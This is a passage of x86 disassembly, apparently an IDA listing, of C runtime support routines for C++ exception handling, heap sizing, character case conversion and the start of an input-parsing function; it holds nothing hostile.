; ---------------------------------------------------------------------------


loc_41A56A:				; CODE XREF: sub_41A3EE+37j
					; sub_41A3EE+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41A590
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41A595
		add	esp, 20h
		jmp	short loc_41A565
; ---------------------------------------------------------------------------


loc_41A590:				; CODE XREF: sub_41A3EE+180j
		jmp	sub_41AB9C
sub_41A3EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A595	proc near		; CODE XREF: sub_41A3EE+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	ds:dword_469504, 0
		push	esi
		push	edi
		jz	short loc_41A5C6
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4161C2
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41A639


loc_41A5C6:				; CODE XREF: sub_41A595+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_4162EB
		add	esp, 14h
		mov	esi, eax


loc_41A5E2:				; CODE XREF: sub_41A595+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41A639
		cmp	edi, [esi]
		jl	short loc_41A631
		cmp	edi, [esi+4]
		jg	short loc_41A631
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41A60B
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41A631


loc_41A60B:				; CODE XREF: sub_41A595+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A74E
		add	esp, 2Ch


loc_41A631:				; CODE XREF: sub_41A595+57j
					; sub_41A595+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41A5E2
; ---------------------------------------------------------------------------


loc_41A639:				; CODE XREF: sub_41A595+2Fj
					; sub_41A595+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41A595	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A63D	proc near		; CODE XREF: sub_41A3EE+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41A694
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41A694
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_41A66E
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41A690


loc_41A66E:				; CODE XREF: sub_41A63D+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41A678
		test	byte ptr [edi],	8
		jz	short loc_41A690


loc_41A678:				; CODE XREF: sub_41A63D+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41A687
		test	byte ptr [edi],	1
		jz	short loc_41A690


loc_41A687:				; CODE XREF: sub_41A63D+43j
		test	al, 2
		jz	short loc_41A694
		test	byte ptr [edi],	2
		jnz	short loc_41A694


loc_41A690:				; CODE XREF: sub_41A63D+2Fj
					; sub_41A63D+39j ...
		xor	eax, eax
		jmp	short loc_41A697
; ---------------------------------------------------------------------------


loc_41A694:				; CODE XREF: sub_41A63D+Bj
					; sub_41A63D+14j ...
		push	1
		pop	eax


loc_41A697:				; CODE XREF: sub_41A63D+55j
		pop	edi
		pop	esi
		retn
sub_41A63D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A69A	proc near		; CODE XREF: sub_41A353+34p
					; sub_41A74E+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4217F8
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_41A6CC:				; CODE XREF: sub_41A69A+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41A726
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41A6DB
		cmp	esi, [edi+4]
		jl	short loc_41A6E0


loc_41A6DB:				; CODE XREF: sub_41A69A+3Aj
		call	sub_41ABF2


loc_41A6E0:				; CODE XREF: sub_41A69A+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41A6FB
		push	103h
		push	ebx
		push	eax
		call	sub_41AB50


loc_41A6FB:				; CODE XREF: sub_41A69A+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41A71B
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41A738
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_41A71B:				; CODE XREF: sub_41A69A+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41A6CC
; ---------------------------------------------------------------------------


loc_41A726:				; CODE XREF: sub_41A69A+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A69A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A738	proc near		; CODE XREF: sub_41A69A+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41A749
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41A749:				; CODE XREF: sub_41A738+Cj
		jmp	sub_41AB9C
sub_41A738	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A74E	proc near		; CODE XREF: sub_41A3EE+151p
					; sub_41A595+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_41A770
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41A8FF
		add	esp, 10h


loc_41A770:				; CODE XREF: sub_41A74E+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41A77C
		push	edi
		jmp	short loc_41A77F
; ---------------------------------------------------------------------------


loc_41A77C:				; CODE XREF: sub_41A74E+29j
		push	[ebp+arg_24]


loc_41A77F:				; CODE XREF: sub_41A74E+2Cj
		call	sub_4160C4
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_41A69A
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_41A7C9
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41A7C4
		push	edi
		push	eax
		call	sub_416082


loc_41A7C4:				; CODE XREF: sub_41A74E+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A74E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A7C9	proc near		; CODE XREF: sub_41A74E+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421808
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, ds:dword_4694FC
		mov	[ebp+var_1C], ecx
		mov	ecx, ds:dword_469500
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	ds:dword_4694FC, edi
		mov	ecx, [ebp+arg_8]
		mov	ds:dword_469500, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_416149
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41A88F
		mov	eax, [ebp+var_2C]


loc_41A856:				; CODE XREF: sub_41A86F+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A7C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A865	proc near		; DATA XREF: seg001:00421818o
		push	dword ptr [ebp-14h]
		call	sub_41A8D5
		pop	ecx
		retn
sub_41A865	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A86F	proc near		; DATA XREF: seg001:0042181Co
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4163AA
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41A856
sub_41A86F	endp

; ---------------------------------------------------------------------------


loc_41A887:				; DATA XREF: seg001:00421810o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41A88F	proc near		; CODE XREF: sub_41A7C9+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	ds:dword_4694FC, eax
		mov	eax, [ebp-20h]
		mov	ds:dword_469500, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41A8D4
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41A8D4
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41A8D4
		cmp	[ebp-24h], ebx
		jnz	short locret_41A8D4
		cmp	[ebp-2Ch], ebx
		jz	short locret_41A8D4
		call	sub_416412
		push	eax
		push	edi
		call	sub_41AAC3
		pop	ecx
		pop	ecx

locret_41A8D4:				; CODE XREF: sub_41A88F+1Cj
					; sub_41A88F+22j ...
		retn
sub_41A88F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A8D5	proc near		; CODE XREF: sub_41A865+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41A8FC
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41A8FC
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41A8FC
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41A8FC
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41A8FC:				; CODE XREF: sub_41A8D5+Cj
					; sub_41A8D5+12j ...
		xor	eax, eax
		retn
sub_41A8D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8FF	proc near		; CODE XREF: sub_41A74E+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421820
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41AAA8
		cmp	byte ptr [eax+8], 0
		jz	loc_41AAA8
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41AAA8
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41A99C
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_41DF66
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA9F
		push	1
		push	edi
		call	sub_41DF82
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA9F
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_41A98D:				; CODE XREF: sub_41A8FF+F5j
		push	eax
		call	sub_41AB2A
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41AAA4
; ---------------------------------------------------------------------------


loc_41A99C:				; CODE XREF: sub_41A8FF+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41A9F6
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_41DF66
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA9F
		push	1
		push	edi
		call	sub_41DF82
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA9F
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_416490
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41AAA4
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41AAA4
		add	esi, 8
		push	esi
		jmp	short loc_41A98D
; ---------------------------------------------------------------------------


loc_41A9F6:				; CODE XREF: sub_41A8FF+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41AA3E
		call	sub_41DF66
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41AA9F
		push	1
		push	edi
		call	sub_41DF82
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41AA9F
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41AB2A
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_416490
		add	esp, 0Ch
		jmp	short loc_41AAA4
; ---------------------------------------------------------------------------


loc_41AA3E:				; CODE XREF: sub_41A8FF+103j
		call	sub_41DF66
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41AA9F
		push	1
		push	edi
		call	sub_41DF82
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41AA9F
		push	dword ptr [esi+18h]
		call	sub_41DF9E
		pop	ecx
		test	eax, eax
		jz	short loc_41AA9F
		test	byte ptr [esi],	4
		jz	short loc_41AA85
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41AB2A
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_4160BD
		jmp	short loc_41AAA4
; ---------------------------------------------------------------------------


loc_41AA85:				; CODE XREF: sub_41A8FF+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41AB2A
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_4160B6
		jmp	short loc_41AAA4
; ---------------------------------------------------------------------------


loc_41AA9F:				; CODE XREF: sub_41A8FF+6Aj
					; sub_41A8FF+7Cj ...
		call	sub_41ABF2


loc_41AAA4:				; CODE XREF: sub_41A8FF+98j
					; sub_41A8FF+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_41AAA8:				; CODE XREF: sub_41A8FF+2Ej
					; sub_41A8FF+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A8FF	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41AB9C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AAC3	proc near		; CODE XREF: sub_41A3EE+170p
					; sub_41A88F+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421830
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41AB0A
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41AB0A
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_4160B6
		or	[ebp+var_4], 0FFFFFFFFh


loc_41AB0A:				; CODE XREF: sub_41AAC3+2Aj
					; sub_41AAC3+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AAC3	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41AB9C

; =============== S U B	R O U T	I N E =======================================



sub_41AB2A	proc near		; CODE XREF: sub_41A8FF+8Fp
					; sub_41A8FF+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41AB4B
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_41AB4B:				; CODE XREF: sub_41AB2A+12j
		pop	esi
		retn
sub_41AB2A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB50	proc near		; CODE XREF: sub_416149+40p
					; sub_41A69A+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_416435
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41AB8F
		mov	ecx, 2


loc_41AB8F:				; CODE XREF: sub_41AB50+38j
		push	ecx
		call	sub_416435
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41AB50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB9C	proc near		; CODE XREF: sub_41A3EE:loc_41A590j
					; sub_41A738:loc_41A749j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0041DFB6 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421840
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, ds:dword_469508
		test	eax, eax
		jz	short loc_41ABE4
		mov	[ebp+var_4], 1
		call	eax ; dword_469508
		jmp	short loc_41ABE0
; ---------------------------------------------------------------------------


loc_41ABD9:				; DATA XREF: seg001:00421850o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41ABDD:				; DATA XREF: seg001:00421854o
		mov	esp, [ebp+var_18]


loc_41ABE0:				; CODE XREF: sub_41AB9C+3Bj
		and	[ebp+var_4], 0


loc_41ABE4:				; CODE XREF: sub_41AB9C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41ABED:				; DATA XREF: seg001:00421848o
		jmp	loc_41DFB6
sub_41AB9C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABF2	proc near		; CODE XREF: sub_4162EB+23p
					; sub_4162EB:loc_416356p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421858
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, ds:off_4380C4
		test	eax, eax
		jz	short loc_41AC3A
		mov	[ebp+var_4], 1
		call	eax ; sub_41AB9C
		jmp	short loc_41AC36
; ---------------------------------------------------------------------------


loc_41AC2F:				; DATA XREF: seg001:00421868o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41AC33:				; DATA XREF: seg001:0042186Co
		mov	esp, [ebp+var_18]


loc_41AC36:				; CODE XREF: sub_41ABF2+3Bj
		and	[ebp+var_4], 0


loc_41AC3A:				; CODE XREF: sub_41ABF2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41AC43:				; DATA XREF: seg001:00421860o
		jmp	sub_41AB9C
sub_41ABF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AC48	proc near		; CODE XREF: sub_4167D3+7p
					; sub_4167D3+26p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_418AFD
		test	eax, eax
		pop	ecx
		jz	short loc_41AC60
		mov	eax, [esi-4]
		pop	esi
		sub	eax, 9
		retn
; ---------------------------------------------------------------------------


loc_41AC60:				; CODE XREF: sub_41AC48+Ej
		push	esi
		push	0
		push	ds:dword_46AAE0
		call	ds:dword_421188	; RtlSizeHeap
		pop	esi
		retn
sub_41AC48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AC71	proc near		; CODE XREF: sub_416881+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_469518, 0
		push	ebx
		jnz	short loc_41AC9C
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41AD3A
		cmp	eax, 7Ah
		jg	loc_41AD3A
		sub	eax, 20h
		jmp	loc_41AD3A
; ---------------------------------------------------------------------------


loc_41AC9C:				; CODE XREF: sub_41AC71+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41ACCF
		cmp	ds:dword_437F6C, 1
		jle	short loc_41ACBC
		push	2
		push	ebx
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41ACC7
; ---------------------------------------------------------------------------


loc_41ACBC:				; CODE XREF: sub_41AC71+3Dj
		mov	eax, ds:off_437D60
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_41ACC7:				; CODE XREF: sub_41AC71+49j
		test	eax, eax
		jnz	short loc_41ACCF


loc_41ACCB:				; CODE XREF: sub_41AC71+AFj
		mov	eax, ebx
		jmp	short loc_41AD3A
; ---------------------------------------------------------------------------


loc_41ACCF:				; CODE XREF: sub_41AC71+34j
					; sub_41AC71+58j
		mov	edx, ds:off_437D60
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41ACF2
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41ACFB
; ---------------------------------------------------------------------------


loc_41ACF2:				; CODE XREF: sub_41AC71+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_41ACFB:				; CODE XREF: sub_41AC71+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	ds:dword_469518
		call	loc_41BD71
		add	esp, 20h
		test	eax, eax
		jz	short loc_41ACCB
		cmp	eax, 1
		jnz	short loc_41AD2D
		movzx	eax, [ebp+var_4]
		jmp	short loc_41AD3A
; ---------------------------------------------------------------------------


loc_41AD2D:				; CODE XREF: sub_41AC71+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41AD3A:				; CODE XREF: sub_41AC71+14j
					; sub_41AC71+1Dj ...
		pop	ebx
		leave
		retn
sub_41AC71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AD3D	proc near		; CODE XREF: sub_416AA0:loc_416ACAp

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41B743
		mov	edi, [ebp+arg_0]
		jmp	short loc_41AD6C
; ---------------------------------------------------------------------------


loc_41AD67:				; CODE XREF: sub_41AD3D+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_41AD6C:				; CODE XREF: sub_41AD3D+28j
		cmp	ds:dword_437F6C, 1
		jle	short loc_41AD84
		movzx	eax, al
		push	8
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41AD93
; ---------------------------------------------------------------------------


loc_41AD84:				; CODE XREF: sub_41AD3D+36j
		mov	ecx, ds:off_437D60
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41AD93:				; CODE XREF: sub_41AD3D+45j
		cmp	eax, ebx
		jz	short loc_41ADCD
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41B7CA
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41B7B3
		movzx	eax, byte ptr [esi+1]
